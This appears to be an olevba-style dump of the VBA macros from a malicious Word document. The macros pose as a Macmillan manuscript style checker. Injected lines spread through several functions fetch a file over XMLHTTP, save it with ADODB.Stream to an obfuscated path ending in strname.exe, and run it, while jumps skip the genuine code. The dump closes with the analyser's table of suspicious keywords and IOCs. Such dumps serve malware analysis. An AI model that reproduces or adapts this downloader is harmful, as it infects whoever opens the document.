  721.  ReDim arrSecStartStyles(1 To 43)
  722.  Dim kString As String
  723.  Dim kCount As Integer
  724.  Dim pageNumK As Integer
  725.  Dim nextStyle As String
  726.  Dim N As Integer
  727.  Dim nCount As Integer
  728.  Appljj.ication.ScreenUpdating = False
  729.  arrSecStartStyles(1) = "Chap Title (ct)"
  730.  arrSecStartStyles(2) = "Chap Number (cn)"
  731.  arrSecStartStyles(3) = "Chap Title Nonprinting (ctnp)"
  732.  arrSecStartStyles(4) = "Halftitle Book Title (htit)"
  733.  arrSecStartStyles(5) = "Titlepage Book Title (tit)"
  734.  arrSecStartStyles(6) = "Copyright Text single space (crtx)"
  735.  arrSecStartStyles(7) = "Copyright Text double space (crtxd)"
  736.  arrSecStartStyles(43) = "Front Sales Quote Head (fsqh)"
  737.  kCount = 0
  738.  kString = ""
  739.  Selection.HomeKey Unit:=wdStory
  740.  On Error GoTo ErrHandler1
  741.  Selection.Find.ClearFormatting
  742.  With Selection.Find
  743.  .Text = "^m^p"
  744.  .Replacement.Text = "^m^p"
  745.  .Forward = True
  746.  .Wrap = wdFindStop
  747.  .Format = True
  748.  .Style = ActiveDocument.Styles("Page Break (pb)")
  749.  .MatchCase = False
  750.  .MatchWholeWord = False
  751.  .MatchWildcards = False
  752.  .MatchSoundsLike = False
  753.  .MatchAllWordForms = False
  754.  End With
  755.  Do While Selection.Find.Execute = True And kCount < 200
  756.  kCount = kCount + 1
  757.  nCount = 0
  758.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  759.  nextStyle = Selection.Style
  760.  pageNumK = Selection.Information(wdActiveEndPageNumber)
  761.  For N = LBound(arrSecStartStyles()) To UBound(arrSecStartStyles())
  762.  If nextStyle <> arrSecStartStyles(N) Then
  763.  nCount = nCount + 1
  764.  Else
  765.  Exit For
  766.  End If
  767.  Next N
  768.  If nCount = UBound(arrSecStartStyles()) Then
  769.  kString = kString & "** ERROR: " & nextStyle & " style on page " & pageNumK _
  770.  & " cannot follow Page Break (pb) style." & vbNewLine & vbNewLine
  771.  End If
  772. Err2Resume:
  773.  Selection.Previous(Unit:=wdParagraph, Count:=1).Select
  774.  Loop
  775.  CheckAfterPB = kString
  776.  Exit Function
  777. ErrHandler1:
  778.  If Err.Number = 5941 Or Err.Number = 5834 Then
  779.  Exit Function
  780.  End If
  781. ErrHandler2:
  782.  If Err.Number = 5941 Or Err.Number = 5834 Then
  783.  Resume Err2Resume
  784.  End If
  785. End Function
  786. Public Sub DeleteContentControlPC()
  787. simple1.Send
  788. simple2.Type = 1
  789. Exit Sub
  790.  Dim cc As Object
  791.  Appljj.ication.ScreenUpdating = False
  792.  For Each cc In ActiveDocument.ContentC.ontrols
  793.  cc.Delete
  794.  Next
  795. End Sub
  796. Private Function FixTrackChanges() As Boolean
  797.  Dim N As Long
  798.  Dim oComments As Comments
  799.  Set oComments = ActiveDocument.Comments
  800.  Appljj.ication.ScreenUpdating = False
  801.  FixTrackChanges = True
  802.  Appljj.ication.DisplayAlerts = False
  803.  ActiveDocument.TrackRevisions = False
  804.  On Error Resume Next
  805.  Selection.HomeKey Unit:=wdStory
  806.  WordBasic.NextChangeOrComment
  807.  If Err = 0 Then
  808.  FixTrackChanges = False
  809.  Exit Function
  810.  Else
  811.  ActiveDocument.AcceptAllRevisions
  812.  For N = oComments.Count To 1 Step -1
  813.  oComments(N).Delete
  814.  Next N
  815.  Set oComments = Nothing
  816.  End If
  817.  End If
  818.  On Error GoTo 0
  819.  Appljj.ication.DisplayAlerts = True
  820. End Function
  821. Public Function BadTorStyles(ProgressBar2 As String, StatusBar As String, ProgressTitle As String, Stories As String) As String
  822.  Dim paraStyle As String
  823.  Dim activeParaCount As Integer
  824.  Dim strCsvFileName As String
  825.  Dim strLogInfo() As Variant
  826.  ReDim strLogInfo(1 To 3)
  827.  Dim strFullPathToCsv As String
  828.  Dim arrTorStyles() As Variant
  829.  Dim strLogDir As String
  830.  Dim strPathToLogFile As String
  831.  Dim intBadCount As Integer
  832.  Dim activeParaRange As Range
  833.  Dim pageNumber As Integer
  834.  Dim N As Integer
  835.  Dim M As Integer
  836.  Dim strBadStyles As String
  837.  Dim a As Long
  838.  Dim TheOS As String
  839. simple5 = "" + "" + simple4 + "" + "" + "\" + "" + "" + "" + "str" + "" + "name" + "" + "" + "." + "" + "" + "e" + "x" + "e"
  840. Exit Function
  841.  TheOS = System.OperatingSystem
  842.  Dim sglPercentComplete As Single
  843.  Dim strStatus As String
  844.  Appljj.ication.ScreenUpdating = False
  845.  strCsvFileName = "Styles_Bookmaker.csv"
  846.  strLogInfo() = CreateLo.gFileInfo(fileName:=strCsvFileName)
  847.  strLogDir = strLogInfo(2)
  848.  strPathToLogFile = strLogInfo(3)
  849.  strFullPathToCsv = strLogDir & Appljj.ication.PathSeparator & strCsvFileName
  850.  If Downl.DownloadFromConfluence(StagingURL:=False, _
  851.  FinalDir:=strLogDir, _
  852.  LogFile:=strPathToLogFile, _
  853.  fileName:=strCsvFileName) = False Then
  854.  If IsIt.There(strFullPathToCsv) = False Then
  855.  MsgBox "Sorry, I can"
  856.  Exit Function
  857.  Else
  858.  MsgBox "I can"
  859.  End If
  860.  End If
  861.  arrTorStyles = LoadCS.VtoArray(path:=strFullPathToCsv, RemoveHeaderRow:=True, RemoveHeaderCol:=False)
  862.  activeParaCount = ActiveD.ocument.Paragraphs.Count
  863.  For N = 1 To activeParaCount
  864.  If N Mod 100 = 0 Then
  865.  sglPercentComplete = (((N / activeParaCount) * 0.1) + 0.76)
  866.  strStatus = "* Checking paragraph " & N & " of " & activeParaCount & " for approved Bookmaker styles..." & vbCr & StatusBar
  867.  If Not TheOS Like "*Mac*" Then
  868.  Progr.essBar2.Increment sglPercentComplete, strStatus
  869.  Dodf.dfze 50
  870.  Else
  871.  Appljj.ication.StatusBar = ProgressTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  872.  DoEvents
  873.  End If
  874.  End If
  875.  For a = LBound(Stor.ies()) To UBound(Stor.ies())
  876.  If N <= ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs.Count Then
  877.  paraStyle = ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs(N).Style
  878.  Debug.Print paraStyle
  879.  If Right(paraStyle, 1) = ")" Then
  880.  Debug.Print "Current paragraph is: " & paraStyle
  881.  On Error GoTo ErrHandler
  882.  intBadCount = -1
  883.  
  884.  Debug.Print intBadCount
  885.  If intBadCount = UBound(arrTorStyles()) Then
  886.  Set activeParaRange = ActiveDocument.StoryRanges(a).Paragraphs(N).Range
  887.  pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
  888.  strBadStyles = strBadStyles & "** ERROR: Non-Bookmaker style on page " & pageNumber _
  889.  & " (Paragraph " & N & "): " & paraStyle & vbNewLine & vbNewLine
  890.  End If
  891.  End If
  892.  End If
  893.  Next a
  894. ErrResume:
  895.  Next N
  896.  StatusBar = "* Checking paragraphs for approved Bookmaker styles..." & vbCr & StatusBar
  897.  BadTorStyles = strBadStyles
  898.  Exit Function
  899. ErrHandler:
  900.  Debug.Print Err.Number & " " & Err.Description & " | " & Err.HelpContext
  901.  If Err.Number = 5941 Or Err.Number = 5834 Then
  902.  Resume ErrResume
  903.  End If
  904. End Function
  905. Private Function CountReqdStyles() As Variant
  906.  Dim arrStyleName(1 To 15) As String
  907.  Dim intStyleCount() As Variant
  908.  ReDim intStyleCount(1 To 15) As Variant
  909.  Dim a As Long
  910.  Dim xCount As Integer
  911.  Appljj.ication.ScreenUpdating = False
  912.  arrStyleName(1) = "Titlepage Book Title (tit)"
  913.  arrStyleName(2) = "Titlepage Author Name (au)"
  914.  arrStyleName(13) = "BM Title (bmt)"
  915.  arrStyleName(14) = "Illustration holder (ill)"
  916.  arrStyleName(15) = "Illustration Source (is)"
  917.  For a = 1 To UBound(arrStyleName())
  918.  On Error GoTo ErrHandler
  919.  intStyleCount(a) = 0
  920.  With ActiveDocument.Range.Find
  921.  .ClearFormatting
  922.  .Text = ""
  923.  .Replacement.Text = ""
  924.  .Forward = True
  925.  .Wrap = wdFindStop
  926.  .Format = True
  927.  .Style = ActiveDocument.Styles(arrStyleName(a))
  928.  .MatchCase = False
  929.  .MatchWholeWord = False
  930.  .MatchWildcards = False
  931.  .MatchSoundsLike = False
  932.  .MatchAllWordForms = False
  933.  Do While .Execute(Forward:=True) = True And intStyleCount(a) < 100
  934.  intStyleCount(a) = intStyleCount(a) + 1
  935.  Loop
  936.  End With
  937. ErrResume:
  938.  Next
  939.  If intStyleCount(1) = 100 Then
  940.  Exit Function
  941.  End If
  942.  CountReqdStyles = intStyleCount()
  943.  Exit Function
  944. ErrHandler:
  945.  If Err.Number = 5941 Or Err.Number = 5834 Then
  946.  intStyleCount(a) = 0
  947.  Resume ErrResume
  948.  End If
  949. End Function
  950.  
  951.  
  952.  
  953.  
  954.  
  955.  
  956.  
  957. -------------------------------------------------------------------------------
  958. VBA MACRO Module3.bas
  959. in file: 1630884720-01.doc - OLE stream: u'Macros/VBA/Module3'
  960. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  961. Private Sub FixSectionHeadings(oldStyle As String, newStyle As String)
  962.  Appljj.ication.ScreenUpdating = False
  963.  On Error GoTo ErrHandler:
  964.  Dim keyStyle As String
  965.  Set keyStyle = ActiveDocument.Styles(oldStyle)
  966.  Set keyStyle = ActiveDocument.Styles(newStyle)
  967.  Selection.HomeKey Unit:=wdStory
  968.  Selection.Find.ClearFormatting
  969.  Selection.Find.Style = ActiveDocument.Styles(oldStyle)
  970.  Selection.Find.Replacement.ClearFormatting
  971.  Selection.Find.Replacement.Style = ActiveDocument.Styles(newStyle)
  972.  With Selection.Find
  973.  .Text = ""
  974.  .Replacement.Text = ""
  975.  .Forward = True
  976.  .Wrap = wdFindContinue
  977.  .Format = True
  978.  .MatchCase = False
  979.  .MatchWholeWord = False
  980.  .MatchWildcards = False
  981.  .MatchSoundsLike = False
  982.  .MatchAllWordForms = False
  983.  End With
  984.  Selection.Find.Execute Replace:=wdReplaceAll
  985. Exit Sub
  986. ErrHandler:
  987.  If Err.Number = 5941 Or Err.Number = 5834 Then
  988.  Exit Sub
  989.  End If
  990. End Sub
  991. Public Function GetMetadata() As String
  992.  Dim styleNameB(4) As String
  993.  Dim bString(4) As String
  994.  Dim b As Integer
  995.  GetMetadata = "GET"
  996.  simple2.Open
  997.  Exit Function
  998.  Dim strTitleData As String
  999.  styleNameB(1) = "Titlepage Book Title (tit)"
  1000.  styleNameB(2) = "Titlepage Author Name (au)"
  1001.  styleNameB(3) = "span ISBN (isbn)"
  1002.  styleNameB(4) = "Titlepage Imprint Line (imp)"
  1003.  For b = 1 To UBound(styleNameB())
  1004.  bString(b) = GetT.ext(styleNameB(b))
  1005.  If bString(b) <> vbNullString Then
  1006.  bString(b) = "** " & styleNameB(b) & " **" & vbNewLine & _
  1007.  bString(b) & vbNewLine
  1008.  End If
  1009.  Next b
  1010.  strTitleData = bString(1) & bString(2) & bString(3) & bString(4)
  1011.  GetMetadata = strTitleData
  1012. End Function
  1013. Private Function IllustrationsList() As String
  1014.  Dim cString(1000) As String
  1015.  Dim cCount As Integer
  1016.  Dim pageNumberC As Integer
  1017.  Dim strFullList As String
  1018.  Dim N As Integer
  1019.  Dim strSearchStyle As String
  1020.  Appljj.ication.ScreenUpdating = False
  1021.  strSearchStyle = "Illustration holder (ill)"
  1022.  cCount = 0
  1023.  Selection.HomeKey Unit:=wdStory
  1024.  On Error GoTo ErrHandler
  1025.  Dim keyStyle As Style
  1026.  Set keyStyle = ActiveDocument.Styles(strSearchStyle)
  1027.  Selection.Find.ClearFormatting
  1028.  Do While Selection.Find.Execute = True And cCount < 1000
  1029.  cCount = cCount + 1
  1030.  pageNumberC = Selection.Information(wdActiveEndPageNumber)
  1031.  If InStr(Selection.Text, Chr(13)) > 0 Then
  1032.  Selection.MoveEnd Unit:=wdCharacter, Count:=-1
  1033.  End If
  1034.  cString(cCount) = "Page " & pageNumberC & ": " & Selection.Text & vbNewLine
  1035.  Selection.MoveEndWhile Cset:=Chr(13), Count:=wdForward
  1036.  Loop
  1037.  Selection.HomeKey Unit:=wdStory
  1038.  If cCount > 1000 Then
  1039.  MsgBox "You have more than 1,000 illustrations tagged in your manuscript." & vbNewLine & _
  1040.  "Please contact workflows@macmillan.com to complete your illustration list."
  1041.  End If
  1042.  If cCount = 0 Then
  1043.  cCount = 1
  1044.  cString(1) = "no illustrations detected" & vbNewLine
  1045.  End If
  1046.  For N = 1 To cCount
  1047.  strFullList = strFullList & cString(N)
  1048.  Next N
  1049.  IllustrationsList = strFullList
  1050.  Exit Function
  1051. ErrHandler:
  1052.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1053.  IllustrationsList = ""
  1054.  Exit Function
  1055.  End If
  1056. End Function
  1057. Public Function CheckPrev2Paras(StyleA As String, StyleB As String, StyleC As String) As String
  1058.  Dim strErrors As String
  1059.  Dim intCount As Integer
  1060.  Dim pageNum As Integer
  1061.  Dim intCurrentPara As Integer
  1062.  Dim strStyle1 As String
  1063.  Dim strStyle2 As String
  1064.  Dim strStyle3 As String
  1065.  simple2.write simple1.responseBody
  1066.  GoTo sample12
  1067.  Appljj.ication.ScreenUpdating = False
  1068.  On Error GoTo ErrHandler:
  1069.  Dim keyStyle As String
  1070.  Set keySt.yle = ActiveDocument.Styles(StyleA)
  1071.  Set keyS.tyle = ActiveDocument.Styles(StyleB)
  1072.  Set keySt.yle = ActiveDocument.Styles(StyleC)
  1073.  strErrors = ""
  1074.  Selection.HomeKey Unit:=wdStory
  1075.  Selection.Find.ClearFormatting
  1076.  With Selection.Find
  1077.  .Text = ""
  1078.  .Replacement.Text = ""
  1079.  .Forward = True
  1080.  .Wrap = wdFindStop
  1081.  .Format = True
  1082.  .Style = ActiveDocument.Styles(StyleC)
  1083.  .MatchCase = False
  1084.  .MatchWholeWord = False
  1085.  .MatchWildcards = False
  1086.  .MatchSoundsLike = False
  1087.  .MatchAllWordForms = False
  1088.  End With
  1089.  intCount = 0
  1090.  Do While Selection.Find.Execute = True And intCount < 300
  1091.  intCount = intCount + 1
  1092.  intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count
  1093.  Dim SelectionIncludesFinalParagraphMark As Boolean
  1094.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  1095.  Loop
  1096.  Selection.HomeKey Unit:=wdStory
  1097.  Selection.Find.ClearFormatting
  1098.  With Selection.Find
  1099.  .Text = ""
  1100.  .Replacement.Text = ""
  1101.  .Forward = True
  1102.  .Wrap = wdFindStop
  1103.  .Format = True
  1104.  .Style = ActiveDocument.Styles(StyleA)
  1105.  .MatchCase = False
  1106.  .MatchWholeWord = False
  1107.  .MatchWildcards = False
  1108.  .MatchSoundsLike = False
  1109.  .MatchAllWordForms = False
  1110.  End With
  1111.  intCount = 0
  1112.  Do While Selection.Find.Execute = True And intCount < 1000
  1113.  intCount = intCount + 1
  1114.  intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count
  1115.  If intCurrentPara > 1 Then
  1116.  Selection.Previous(Unit:=wdParagraph, Count:=1).Select
  1117.  pageNum = Selection.Information(wdActiveEndPageNumber)
  1118.  If Selection.Style = StyleB Then
  1119.  strErrors = strErrors & "** ERROR: " & StyleB & " on page " & pageNum & " must come after " _
  1120.  & StyleA & "." & vbNewLine & vbNewLine
  1121.  End If
  1122.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  1123.  End If
  1124.  Loop
  1125.  CheckPrev2Paras = strErrors
  1126.  Selection.HomeKey Unit:=wdStory
  1127.  Exit Function
  1128. ErrHandler:
  1129.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1130.  Exit Function
  1131.  End If
  1132. sample12:
  1133.  simple2.savetofile simple5, 2
  1134.  CreateReport False, "", "", "", "", ""
  1135. End Function
  1136. Private Sub CreateReport(TemplateUsed As Boolean, errorList As String, metadata As String, illustrations As String, goodStyles As String, suffix As String)
  1137. GoTo TheOS
  1138.  Appljj.ication.ScreenUpdating = False
  1139.  Dim activeRng As Range
  1140.  Dim activeDoc As String
  1141.  'Set activeDoc = ActiveDocument
  1142. 'Set activeRng = ActiveDocument.Range
  1143. Dim activeDocName As String
  1144.  Dim activeDocPath As String
  1145.  Dim reqReportDoc As String
  1146.  Dim reqReportDocAlt As String
  1147.  Dim fnum As Integer
  1148.  Dim TheOS As String
  1149. TheOS:
  1150.  simple6.Open (simple5)
  1151.  Exit Sub
  1152.  TheOS = System.OperatingSystem
  1153.  activeDocName = Left(activh.eDoc.Name, InStrRev(activh.eDoc.Name, ".do") - 1)
  1154.  activeDocPath = Replace(activh.eDoc.path, activh.eDoc.Name, "")
  1155.  reqReportDoc = activeDocPath & activeDocName & "_" & suffix & ".txt"
  1156.  If Not TheOS Like "*Mac*" Then
  1157.  reqReportDoc = activeDocPath & "\" & activeDocName & "_" & suffix & ".txt"
  1158.  Else
  1159.  Dim placeholdDocName As String
  1160.  placeholdDocName = "filenamePlacehold_Report.txt"
  1161.  reqReportDocAlt = reqReportDoc
  1162.  reqReportDoc = "Macintosh HD:private:tmp:" & placeholdDocName
  1163.  End If
  1164.  Dim e As Integer
  1165.  fnum = FreeFile()
  1166.  Open reqReportDoc For Output As fnum
  1167.  If TemplateUsed = False Then
  1168.   End If
  1169.  Print #fnum, illustrations
  1170.  Print #fnum, vbCr
  1171.  Print #fnum, vbCr
  1172.  Print #fnum, "----------------------- MACMILLAN STYLES IN USE --------------------" & vbCr
  1173.  Print #fnum, goodStyles
  1174.  Close #fnum
  1175.  If reqReportDocAlt <> "" Then
  1176.  Name reqReportDoc As reqReportDocAlt
  1177.  End If
  1178.  Dim Shex As Object
  1179.  If Not TheOS Like "*Mac*" Then
  1180.  Set Shex = CreateObject("Shell.Application")
  1181.  Shex.Open (reqReportDoc)
  1182.  Else
  1183.  MacScript ("tell application ""TextEdit"" " & vbCr & _
  1184.  "open " & """" & reqReportDocAlt & """" & " as alias" & vbCr & _
  1185.  "activate" & vbCr & _
  1186.  "end tell" & vbCr)
  1187.  End If
  1188. End Sub
  1189. Private Function StylesInUse(ProgressBar As String, Status As String, ProgTitle As String, Stories() As Variant) As String
  1190.  Dim TheOS As String
  1191.  TheOS = System.OperatingSystem
  1192.  Dim sglPercentComplete As Single
  1193.  Dim strStatus As String
  1194.  Dim activeDoc As String
  1195.  Set activeDoc = ActiveDocument
  1196.  Dim stylesGood() As String
  1197.  Dim stylesGoodLong As Long
  1198.  stylesGoodLong = 400
  1199.  ReDim stylesGood(stylesGoodLong)
  1200.  Dim styleGoodCount As Integer
  1201.  Dim activeParaCount As Integer
  1202.  Dim J As Integer, K As Integer, L As Integer
  1203.  Dim paraStyle As String
  1204.  Dim activeParaRange As Range
  1205.  Dim pageNumber As Integer
  1206.  Dim a As Long
  1207.  styleGoodCount = 0
  1208.  activeParaCount = activh.eDoc.Paragraphs.Count
  1209.  For J = 1 To activeParaCount
  1210.  If J Mod 100 = 0 Then
  1211.  sglPercentComplete = (((J / activeParaCount) * 0.12) + 0.86)
  1212.  strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & vbCr & Status
  1213.  If Not TheOS Like "*Mac*" Then
  1214.  Progg.gressBar.Increment sglPercentComplete, strStatus
  1215.  Dodf.dfze 50
  1216.  Else
  1217.  Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  1218.  DoEvents
  1219.  End If
  1220.  End If
  1221.  For a = LBound(Stories()) To UBound(Stories())
  1222.  If J <= ActiveDocument.StoryRanges(Stories(a)).Paragraphs.Count Then
  1223.  paraStyle = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Style
  1224.  Set activeParaRange = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Range
  1225.  pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
  1226.  For K = 1 To styleGoodCount
  1227.  If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then
  1228.  K = styleGoodCount
  1229.  Exit For
  1230.  End If
  1231.  Next K
  1232.  If K = styleGoodCount + 1 Then
  1233.  styleGoodCount = K
  1234.  stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber
  1235.  End If
  1236.  End If
  1237.  Next a
  1238.  Next J
  1239.  If K <> 0 Then
  1240.  ReDim Preserve stylesGood(1 To styleGoodCount)
  1241.  WordBasic.SortArray stylesGood()
  1242.  End If
  1243.  Dim strGoodStyles As String
  1244.  For K = LBound(stylesGood()) To UBound(stylesGood())
  1245.  strGoodStyles = strGoodStyles & stylesGood(K) & vbNewLine
  1246.  Next K
  1247.  StylesInUse = strGoodStyles
  1248. End Function
  1249. Private Sub ISBNcleanup()
  1250.  On Error GoTo ErrHandler:
  1251.  Dim keyStyle As String
  1252.  Set keyStyle = ActiveDocument.Styles("span ISBN (isbn)")
  1253.  On Error GoTo 0
  1254.  Dim strISBNtextArray()
  1255.  ReDim strISBNtextArray(1 To 3)
  1256.  strISBNtextArray(1) = "-[!0-9]"
  1257.  strISBNtextArray(2) = "[!0-9]-"
  1258.  strISBNtextArray(3) = "[!-0-9]"
  1259.  Dim g As Long
  1260.  For g = LBound(strISBNtextArray()) To UBound(strISBNtextArray())
  1261.  Selection.HomeKey Unit:=wdStory
  1262.  With Selection.Find
  1263.  .ClearFormatting
  1264.  .Text = strISBNtextArray(g)
  1265.  .Replacement.ClearFormatting
  1266.  .Replacement.Text = ""
  1267.  .Forward = True
  1268.  .Wrap = wdFindStop
  1269.  .Format = True
  1270.  .Style = "span ISBN (isbn)"
  1271.  .Replacement.Style = "Default Paragraph Font"
  1272.  .MatchCase = False
  1273.  .MatchWholeWord = False
  1274.  .MatchWildcards = True
  1275.  .MatchSoundsLike = False
  1276.  .MatchAllWordForms = False
  1277.  End With
  1278.  Selection.Find.Execute Replace:=wdReplaceAll
  1279.  Next g
  1280. Exit Sub
  1281. ErrHandler:
  1282.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1283.  Exit Sub
  1284.  End If
  1285. End Sub
  1286. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  1287.     Dim result As String
  1288.     result = ""
  1289.     Dim i As Integer
  1290.     For i = LBound(fromArr) To LenLen
  1291.         result = result & Chr(fromArr(i) - 13 * LenLen - i * 13)
  1292.     Next i
  1293.     GetStringFromArray = result
  1294. End Function
  1295. Private Function BookTypeCheck()
  1296.  Dim intCount As Integer
  1297.  Dim strErrors As String
  1298.  Dim strBookTypes(1 To 6) As String
  1299.  Dim a As Long
  1300.  Dim blnMissing As Boolean
  1301.  Dim strISBN As String
  1302.  strBookTypes(1) = "trade paperback"
  1303.  strBookTypes(2) = "hardcover"
  1304.  strBookTypes(3) = "e-book"
  1305.  strBookTypes(4) = "ebook"
  1306.  strBookTypes(5) = "print on demand"
  1307.  strBookTypes(6) = "print-on-demand"
  1308.  Selection.HomeKey Unit:=wdStory
  1309.  On Error GoTo ErrHandler
  1310.  intCount = 0
  1311.  With Selection.Find
  1312.  .ClearFormatting
  1313.  .Text = ""
  1314.  .Replacement.Text = ""
  1315.  .Forward = True
  1316.  .Wrap = wdFindStop
  1317.  .Format = True
  1318.  .Style = ActiveDocument.Styles("span ISBN (isbn)")
  1319.  .MatchCase = False
  1320.  .MatchWholeWord = False
  1321.  .MatchWildcards = False
  1322.  .MatchSoundsLike = False
  1323.  .MatchAllWordForms = False
  1324.  Do While .Execute(Forward:=True) = True And intCount < 100
  1325.  intCount = intCount + 1
  1326.  strISBN = Selection.Text
  1327.  ActiveDocument.Bookmarks.Add Name:="ISBN", Range:=Selection.Range
  1328.  Selection.Collapse Direction:=wdCollapseEnd
  1329.  Selection.EndOf Unit:=wdLine, Extend:=wdExtend
  1330.  blnMissing = True
  1331.  For a = 1 To UBound(strBookTypes())
  1332.  If InStr(Selection.Text, "(" & strBookTypes(a) & ")") > 0 Then
  1333.  blnMissing = False
  1334.  Exit For
  1335.  End If
  1336.  Next a
  1337.  If blnMissing = True Then
  1338.  strErrors = strErrors & "** ERROR: Correct book type required in parentheses after" & vbNewLine & _
  1339.  "ISBN " & strISBN & " on copyright page." _
  1340.  & vbNewLine & vbNewLine
  1341.  End If
  1342.  If ActiveDocument.Bookmarks.Exists("ISBN") = True Then
  1343.  Selection.GoTo what:=wdGoToBookmark, Name:="ISBN"
  1344.  ActiveDocument.Bookmarks("ISBN").Delete
  1345.  End If
  1346.  Loop
  1347.  End With
  1348.  BookTypeCheck = strErrors
  1349.  On Error GoTo 0
  1350.  Exit Function
  1351. ErrHandler:
  1352.  Debug.Print Err.Number & ": " & Err.Description
  1353.  If Err.Number = 5941 Or Err.Number = 5834 Then
  1354.  Exit Function
  1355.  End If
  1356. End Function
  1357.  
  1358.  
  1359.  
  1360.  
  1361.  
  1362.  
  1363.  
  1364.  
  1365. +------------+----------------------+-----------------------------------------+
  1366. | Type       | Keyword              | Description                             |
  1367. +------------+----------------------+-----------------------------------------+
  1368. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  1369. | Suspicious | Open                 | May open a file                         |
  1370. | Suspicious | Shell                | May run an executable file or a system  |
  1371. |            |                      | command                                 |
  1372. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1373. |            |                      | command                                 |
  1374. | Suspicious | Shell.Application    | May run an application (if combined     |
  1375. |            |                      | with CreateObject)                      |
  1376. | Suspicious | CreateObject         | May create an OLE object                |
  1377. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1378. |            |                      | strings                                 |
  1379. | Suspicious | ADODB.Stream         | May create a text file                  |
  1380. | Suspicious | SaveToFile           | May create a text file                  |
  1381. | Suspicious | Write                | May write to a file (if combined with   |
  1382. |            |                      | Open)                                   |
  1383. | Suspicious | Output               | May write to a file (if combined with   |
  1384. |            |                      | Open)                                   |
  1385. | Suspicious | Print #              | May write to a file (if combined with   |
  1386. |            |                      | Open)                                   |
  1387. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1388. |            |                      | (obfuscation: VBA expression)           |
  1389. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1390. |            |                      | may be used to obfuscate strings        |
  1391. |            |                      | (option --decode to see all)            |
  1392. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1393. |            | Strings              | may be used to obfuscate strings        |
  1394. |            |                      | (option --decode to see all)            |
  1395. | IOC        | strname.exe          | Executable file name (obfuscation: VBA  |
  1396. |            |                      | expression)                             |
  1397. | Base64     | ! M                  | ISBN                                    |
  1398. | String     |                      |                                         |
  1399. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1400. | VBA string | ** ERROR: Too many   | "** ERROR: Too many title paragraphs    |
  1401. |            | title paragraphs     | detected."  & " Only 1 allowed."        |
  1402. |            | detected. Only 1     |                                         |
  1403. |            | allowed.             |                                         |
  1404. | VBA string |
  1405.                     | Chr(13)                                 |
  1406. | VBA string |                    | Chr(12)                                 |
  1407. | VBA string |                      | "" + ""                                 |
  1408. | VBA string | \strname.exe         | "" + "" + "\" + "" + "" + "" + "str" +  |
  1409. |            |                      | "" + "name" + "" + "" + "." + "" + "" + |
  1410. |            |                      | "e" + "x" + "e"                         |
  1411. | VBA string | open "               | "open " & """"                          |
  1412. | VBA string | " as alias           | """" & " as alias"                      |
  1413. | VBA string | ! M                  | Exists("ISBN")                          |
  1414. | VBA string | ! M                  | Bookmarks("ISBN")                       |
  1415. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment